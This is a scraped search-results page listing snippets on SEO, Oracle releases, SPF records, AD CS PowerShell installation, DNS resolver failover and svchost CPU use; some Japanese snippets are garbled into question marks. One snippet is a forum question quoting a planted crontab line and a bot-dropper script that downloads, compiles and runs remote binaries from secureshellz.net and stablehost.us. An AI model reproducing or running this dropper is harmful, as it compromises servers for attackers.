Search Results

Search found 13642 results on 546 pages for 'us'.

Page 130/546 | < Previous Page | 126 127 128 129 130 131 132 133 134 135 136 137  | Next Page >

  • About Custom Web Development

    Custom web coding lets service providers to create a highly targeted online surfing session for possible customers. A web administrator which can offer a personal surfing experience must find it much quicker to get repeat consumers and promote future business. Let us face it, not all webpages are made equally.

    Read the article

  • Market Yourself As an Online Copywriter

    Advertising and Copy writing is quite well link to each other as both stand similarly to the same meaning. Most of us know what is advertising, which is to promote or create awareness about something to certain community or to the public. Advertising can be exercised either by online or offline.

    Read the article

  • Search Engine Optimization Is, And Always Has Been, The Future

    If we look back not even ten years ago, the idea of Search Engine Optimization was something that lot of us would have scoffed at the thought of. With the Internet being an underdeveloped idea at the time, we all still referred to the phone book when trying to find a business, or even calling directory assistance.

    Read the article

  • SEO TLC For Your Current Web Site

    Many of our new clients come to us thinking they need a new website, when in fact what they need to start with is a little search engine optimization. Before you spend thousands on a brand new website design, why not spend one hour testing your current site's SEO?

    Read the article

  • The Reality of Internet Marketing and SEO - A Successful Formula?

    Tired of getting all the hassles of hiring an SEO expert and spend thousands of dollars just to make your website go up in terms of rankings on search engines? For sure, all of us who are into online business or any kind of business that involves with having a website do feel a little bit frustrated especially when big money is involved and the results are close to nowhere.

    Read the article

  • Oracle R Distribution 3.1.1????

    - by Noriko Takada-Oracle
    Oracle R Distribution 3.1.1????????Oracle?public yum??????????????US?R???????????????????????????? Oracle R Technologies - Oracle R Distribution 3.1.1 Released ??Blog???????????Oracle R Enterprise(ORE)????????????????????????????? ?????Oracle R Distribution???Oracle?????????R??????????????????1???????????????Blog???????????????Oracle R Distribution Performance Benchmark ????????R?????????????????????

    Read the article

  • Unix ? Linux ????????? Oracle Database 11g Release 2 ? SAP ????????

    - by ?? ?
    US?Blog Oracle Database 11g Release 2 is SAP certified for Unix and Linux platforms. ?????????SAP??????Oracle Database 11g R2????????? ????UNIX???Linux???????????????? Linux x86???x86-64 AIX HP-UX IA64 Solaris SPARC???x64 ??? ?????????????????????????! Advanced Compression Option (table, RMAN backup, expdp, DG Network) Real Application Testing Oracle Database 11g Release 2 Database Vault Oracle Database 11g Release 2 RAC Advanced Encryption for tablespaces, RMAN backups, expdp, DG Network Direct NFS Deferred Segments Online Patching ????SAP???1398634 ??????????????????

    Read the article

  • How To: WebLogic Server??????????????? / ????????????WebLogic Server?????????????

    - by [email protected]
    ?????WebLogic Server ??????????2????????????How To: WebLogic Server????????????????????????????????????????????????????????????Oracle WebLogic Server???????????????????????·?????????????????????????????????????????????????????????????????????1) ????????·?????????? 2) ????????????WebLogic?????? 3. WebLogic?????????(WLDF)?3???????????????????????WebLogic Server?????????????Oracle WebLogic Server??????????????????????????????????????????????????????????????????????????WebLogic Server??????Java??????????·?????????????????????????????????????[Agenda]·????????WebLogic?????·Java???????????·??????????????????·etc..1?????????Hiromu Kato???????????(??US)??????WLS?????????????????????????????????????????????????????????????????????????????????

    Read the article

  • Java?????????·????????????????????

    - by OTN-J Master
    Java??????????????Java???????????·????(James Gosling)???2010???????Sun Microsystems??????Sun????????Google???????????????????????????????????????????????????? ···?????Java????????????????????????Java Magazine??? Vol. 7????????·????????????????????????????????????????????? ???????????????????????????????????????? Java Magazine????????????????????????????80???????????????????????????????????????????????????????????Java??????????????????????????????????????????????????????????????????????????Java Magazine??????(???????????)Java Magazine?????????Java Developer Newsletter Japan????????????(US???????????????????11?15??????)????????????11?????????????????????????????????!!(?????????????????)????????????????)Java Developer Newsletter Japan?????????????????????????Java Magazine??????????Java????????????????????????????Java?????????????????????????????????????????????????(?????????????)???!!! ????????????????????1000????Duke?Java??????????????????????>> Java Developer Newsletter???·????????

    Read the article

  • ?!Solaris ??20??? ????Solaris 11.1????????!

    - by OTN-J Master
    Solaris 11.1 ??????????? US OTN???????????????????????????????Solaris 11.1??????????? (OTN Japan???????????????????????????????) ???????Oracle Solaris ?????????????????????????????????????????????????????????????????????????????Solaris 11??????????????300???????????????10?4??Oracle OpenWorld?????Solaris 11.1?????????(??????????)?????????????Solaris?????20????????20??????????????????? ???????????????????????OS??????????????????????????Solaris 11.1????? ?????????????2012?11?7???8:00????Oracle Solaris 11.1?????Oracle Solaris Cluster???????·????·???????????????????????Solaris??20??????????????Solaris??????????????Oracle Solaris 11.1??Oracle Solarus Cluster???????????????????????11?8???1?????????????????????????????????Solaris?????????????????·???????????????????

    Read the article

  • Is SecureShellz bot a virus? How does it work?

    - by ProGNOMmers
    I'm using a development server in which I found this in the crontab: [...] * * * * * /dev/shm/tmp/.rnd >/dev/null 2>&1 @weekly wget http://stablehost.us/bots/regular.bot -O /dev/shm/tmp/.rnd;chmod +x /dev/shm/tmp/.rnd;/dev/shm/tmp/.rnd [...] http://stablehost.us/bots/regular.bot contents are: #!/bin/sh if [ $(whoami) = "root" ]; then echo y|yum install perl-libwww-perl perl-IO-Socket-SSL openssl-devel zlib1g-dev gcc make echo y|apt-get install libwww-perl apt-get install libio-socket-ssl-perl openssl-devel zlib1g-dev gcc make pkg_add -r wget;pkg_add -r perl;pkg_add -r gcc wget -q http://linksys.secureshellz.net/bots/a.c -O a.c;gcc -o a a.c;mv a /lib/xpath.so;chmod +x /lib/xpath.so;/lib/xpath.so;rm -rf a.c wget -q http://linksys.secureshellz.net/bots/b -O /lib/xpath.so.1;chmod +x /lib/xpath.so.1;/lib/xpath.so.1 wget -q http://linksys.secureshellz.net/bots/a -O /lib/xpath.so.2;chmod +x /lib/xpath.so.2;/lib/xpath.so.2 exit 1 fi wget -q http://linksys.secureshellz.net/bots/a.c -O a.c;gcc -o .php a.c;rm -rf a.c;chmod +x .php; ./.php wget -q http://linksys.secureshellz.net/bots/a -O .phpa;chmod +x .phpa; ./.phpa wget -q http://linksys.secureshellz.net/bots/b -O .php_ ;chmod +x .php_;./.php_ I cannot contact the sysadmin for various reasons, so I cannot ask infos about this to him. It seems to me this script downloads some remote C source codes and binaries, compile them and execute them. I am a web developer, so I am not an expert about C language, but watching at the downloaded files it seems to me a bot injected in the cron of the server. Can you give me more infos about what this code does? About its working, its purposes?

    Read the article

  • Office365 SPF record has too many lookups

    - by Sammitch
    For some utterly ridiculous administrative reasons we've got a split domain with one mailbox on Office365 which requires us to add include:outlook.com to our SPF record. The problem with this is that that rule alone requires nine DNS lookups of the maximum of 10. Seriously, it's horrible. Just look at it: v=spf1 include:spf-a.outlook.com include:spf-b.outlook.com ip4:157.55.9.128/25 include:spfa.bigfish.com include:spfb.bigfish.com include:spfc.bigfish.com include:spf-a.hotmail.com include:_spf-ssg-b.microsoft.com include:_spf-ssg-c.microsoft.com ~all Given that we have our own large-ish mail system we need to have rules for a, mx, include:_spf1.mydomain.com, and include:_spf2.mydomain.com which puts us at 13 DNS lookups which causes PERMERRORs with strict SPF validators, and completely unreliable/unpredictable validation with non-strict/badly implemented validators. Is it possible to somehow eliminate 3 of those include: rules from the bloated outlook.com record, but still cover the servers used by O365? Edit: Commentors have mentioned that we should simply use the shorter spf.protection.outlook.com record. While that is news to me, and it is shorter, it's only one record shorter: spf.protection.outlook.com include:spf-a.outlook.com include:spf-b.outlook.com include:spf-c.outlook.com include:spf.messaging.microsoft.com include:spfa.frontbridge.com include:spfb.frontbridge.com include:spfc.frontbridge.com Edit² I suppose we can technically pare this down to: v=spf1 a mx include:_spf1.mydomain.com include:_spf2.mydomain.com include:spf-a.outlook.com include:spf-b.outlook.com include:spf-c.outlook.com include:spfa.frontbridge.com include:spfb.frontbridge.com include:spfc.frontbridge.com ~all but the potential issues I see with this are: We need to keep abreast of any changes to the parent spf.protection.outlook.com and spf.messaging.microsoft.com records. If anything is changed or [god forbid] added we would have to manually update ours to reflect that. With our actual domain name the record's length is 260 chars, which would require 2 strings for the TXT record, and I honestly don't trust that all of the DNS clients and SPF resolvers out there will properly accept a TXT record longer than 255 bytes.

    Read the article

  • Cmdlets for AD CS deployment: Install-ADcsCertificationAuthority cmdlet failing when attempting to install an offline policy CA

    - by red888
    I installed an offline root CA without issue using this command: Install-ADcsCertificationAuthority ` -OverwriteExistingKey ` <#In the case of a re-installation#> ` -AllowAdministratorInteraction ` -CACommonName ` "LAB Corporate Root CA" ` -CADistinguishedNameSuffix ` 'O=LAB Inc.,C=US' ` -CAType ` StandaloneRootCA ` -CryptoProviderName ` "RSA#Microsoft Software Key Storage Provider" ` -HashAlgorithmName ` SHA256 ` -KeyLength ` 2048 ` -ValidityPeriod ` Years ` -ValidityPeriodUnits ` 20 ` -DatabaseDirectory ` 'E:\CAData\CertDB' ` -LogDirectory ` 'E:\CAData\CertLog' ` -Verbose I installed the root CA's cert and CRl on the policy CA, installed the AD CS binaries, and attempted to run this command to install the policy CA and export a req file: Install-ADcsCertificationAuthority ` -OverwriteExistingKey ` <#In the case of a re-installation#> ` -AllowAdministratorInteraction ` -CACommonName ` "LAB Corporate Policy Internal CA" ` -CADistinguishedNameSuffix ` 'O=LAB Inc.,C=US' ` -CAType ` StandaloneSubordinateCA ` -ParentCA ` rootca ` -OutputCertRequestFile ` 'e:\polca-int.req' ` -CryptoProviderName ` "RSA#Microsoft Software Key Storage Provider" ` -HashAlgorithmName ` SHA256 ` -KeyLength ` 2048 ` -ValidityPeriod ` Years ` -ValidityPeriodUnits ` 10 ` -DatabaseDirectory ` 'E:\CAData\CertDB' ` -LogDirectory ` 'E:\CAData\CertLog' ` -Verbose When doing this I receive the following error: VERBOSE: Calling InitializeDefaults method on the setup object. Install-ADcsCertificationAuthority : At line:1 char:1 + Install-ADcsCertificationAuthority ` + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : InvalidArgument: (:) [Install-AdcsCertificationA uthority], CertificationAuthoritySetupException + FullyQualifiedErrorId : ValidateParameters,Microsoft.CertificateServices .Deployment.Commands.CA.InstallADCSCertificationAuthority Is there a parameter I am entering incorrectly or something?

    Read the article

  • Avoiding DNS timeouts when a dns server fails

    - by user65124
    Hi there. We have a small datacenter with about a hundred hosts pointing to 3 internal dns servers (bind 9). Our problem comes when one of the internal dns servers becomes unavailable. At that point all the clients that point to that server start performing very slowly. The problem seems to be that the stock linux resolver doesn't really have the concept of "failing over" to a different dns server. You can adjust the timeout and number of retries it uses, (and set rotate so it will work through the list), but no matter what settings one uses our services perform much more slowly if a primary dns server becomes unavailable. At the moment this is one of the largest sources of service disruptions for us. My ideal answer would be something like "RTFM: tweak /etc/resolv.conf like this...", but if that's an option I haven't seen it. I was wondering how other folks handled this issue? I can see 3 possible types of solutions: Use linux-ha/Pacemaker and failover ips (so the dns IP VIPs are "always" available). Alas, we don't have a good fencing infrastructure, and without fencing pacemaker doesn't work very well (in my experience Pacemaker lowers availability without fencing). Run a local dns server on each node, and have resolv.conf point to localhost. This would work, but it would give us a lot more services to monitor and manage. Run a local cache on each node. Folks seem to consider nscd "broken", but dnrd seems to have the right feature set: it marks dns servers as up or down, and won't use 'down' dns servers. Any-casting seems to work only at the ip routing level, and depends on route updates for server failure. Multi-casting seemed like it would be a perfect answer, but bind does not support broadcasting or multi-casting, and the docs I could find seem to suggest that multicast dns is more aimed at service discovery and auto-configuration rather than regular dns resolving. Am I missing an obvious solution?

    Read the article

  • svchost consuming more than 50% CPU all the time in windows 7

    - by claws
    Hello, I'm using windows 7 ultimate. svchost containing DCOM Server Process Launcher Plug and Play Power services is consuming more than 50% of CPU for most of the time. I found this blog post: http://blog.hansmelis.be/2007/06/17/windows-vista-long-delay-when-switching-songs-in-media-player/ That process is associated with two services: DCOM Server Process Launcher and Plug and Play. For the Vulcans among us, all logic stops there for a second. What do those two services have to do with WMP? The answer is provided by Vista's new audio engine. The new engine supports several audio "enhancements". But for the enhancements to work, the engine needs to determine if your hardware is up to the task. And when does it check that? Each time a sound output device is accessed. That's pretty nice if you can do a hot swap of sound hardware, but I don't see me doing that anytime soon. Anyways, it does provide us with the link to the correct service because checking hardware is done by the "Plug and Play" service. One might think that deactivating each enhancement would solve the problem, but that's wishful thinking. The configuration of the enhancements is located in the properties of the sound hardware. When opening the tab, I found out that no enhancements were active. Hmmm... so why does it check the hardware? Well, it does that in case you actually enable an enhancement. To completely stop the hardware checking, you have to tick the box labelled Disable all enhancements. As soon as you do that, Vista finally understands you don't want to use them buts thats for vista. Is it the same case with windows 7 too? and I couldn't find any "Disable all enhancements" in my controlpanelsounds (mmsys.cpl). Where can I find this option in windows 7? How to solve this?

    Read the article

< Previous Page | 126 127 128 129 130 131 132 133 134 135 136 137  | Next Page >